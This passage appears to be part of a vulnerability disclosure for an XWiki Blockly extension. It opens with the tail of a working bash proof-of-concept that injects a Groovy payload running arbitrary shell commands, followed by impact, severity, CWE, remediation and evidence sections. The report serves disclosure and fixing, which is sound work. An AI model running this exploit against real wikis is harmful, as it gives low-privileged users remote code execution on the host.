#set ($proof = $xwiki.parseGroovyFromString('class __CLASS_NAME__ { String toString() { def command = new String(java.util.Base64.getDecoder().decode("__COMMAND_B64__"), "UTF-8"); def process = new ProcessBuilder("/bin/sh", "-c", command).redirectErrorStream(true).start(); process.waitFor(); return "BLOCKLY-RCE-B64-" + java.util.Base64.getEncoder().encodeToString(process.inputStream.bytes) } }'))
$proof
EOF
BLOCKLY_PAYLOAD=${BLOCKLY_PAYLOAD/__CLASS_NAME__/$CLASS_NAME}
BLOCKLY_PAYLOAD=${BLOCKLY_PAYLOAD/__COMMAND_B64__/$COMMAND_B64}

read -r -d '' BLOCKLY_XML <<EOF || true
<object xmlns="http://www.xwiki.org">
  <className>Blockly.Code.BlocklyClass</className>
  <property name="content"><value>$BLOCKLY_PAYLOAD</value></property>
</object>
EOF

echo '[5/6] Adding the attacker-controlled Blockly object'
OBJECT_CODE=$(curl -sS -b "$COOKIE" -X POST \
  -H 'Content-Type: application/xml' \
  --data-binary "$BLOCKLY_XML" \
  "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE/objects" \
  -o "$WORK/object.xml" -w '%{http_code}')
echo "Object creation HTTP: $OBJECT_CODE"
[[ "$OBJECT_CODE" == 201 ]]

echo '[6/6] Triggering the privileged sheet'
curl -fsS -b "$COOKIE" \
  "$BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" \
  -o "$WORK/result.html"
MARKER=$(grep -o 'BLOCKLY-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.html" | head -n1)
[[ -n "$MARKER" ]]
OUTPUT_B64=${MARKER#BLOCKLY-RCE-B64-}

echo '----- command output -----'
printf '%s' "$OUTPUT_B64" | base64 -d
echo '----- end command output -----'
echo "PoC page: $BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet"
echo "Evidence directory: $WORK"

{code}
h2. !image-2026-08-14-13-57-39-206.png!
h2. Impact

Any registered user with EDIT access to one page can execute arbitrary JVM code with the permissions of the XWiki
process. This compromises the confidentiality, integrity, and availability of the wiki and host resources available to
the service account. The attacker triggers the vulnerable sheet directly; no administrator or other victim is needed.
h2. Severity

*Severity:* High: RCE under sheet author's PROGRAM context.
*CVSS 4.0:* 8.7: {{CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N}}
h2. Weaknesses
* *CWE-94:* Improper Control of Generation of Code
* *CWE-863:* Incorrect Authorization

h2. Suggested remediation
# Verify the xobject's content author has PROGRAM before {{{}#evaluate{}}}-ing the field:
{code:none}
   #set ($contentAuthor = $doc.getObject('Blockly.Code.BlocklyClass').contentAuthor)
   #if ($services.security.authorization.hasAccess('programming', $contentAuthor, $doc.documentReference))
       #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)
   #end
{code}

# Better: do not {{#evaluate}} user content at all. Render it as text or use a sandboxed transformation.
# Add a {{RequiredRightsClassDocumentRequirement}} for {{Blockly.Code.BlocklyClass}} so the platform Required-Rights analyzer rejects low-privilege saves of pages with this xobject.

h2. Evidence

 
* *Low-privileged {{XWiki.cve}} identity and global-administration HTTP 403:*
!image-2026-08-14-13-58-45-530.png!

* *Direct Groovy negative control showing that the same account cannot execute scripts normally:*
!image-2026-08-14-13-59-12-404.png!

* *Creation of the {{Blockly.Code.BlocklyClass}} object with HTTP 201:*
!image-2026-08-14-13-59-52-252.png!

* {*}Vulnerable sheet response containing {{{}BLOCKLY-RCE-uid=0(root) gid=0(root) groups=0(root){}}}:{*}!image-2026-08-14-14-00-15-075.png!
!image-2026-08-14-14-01-41-906.png!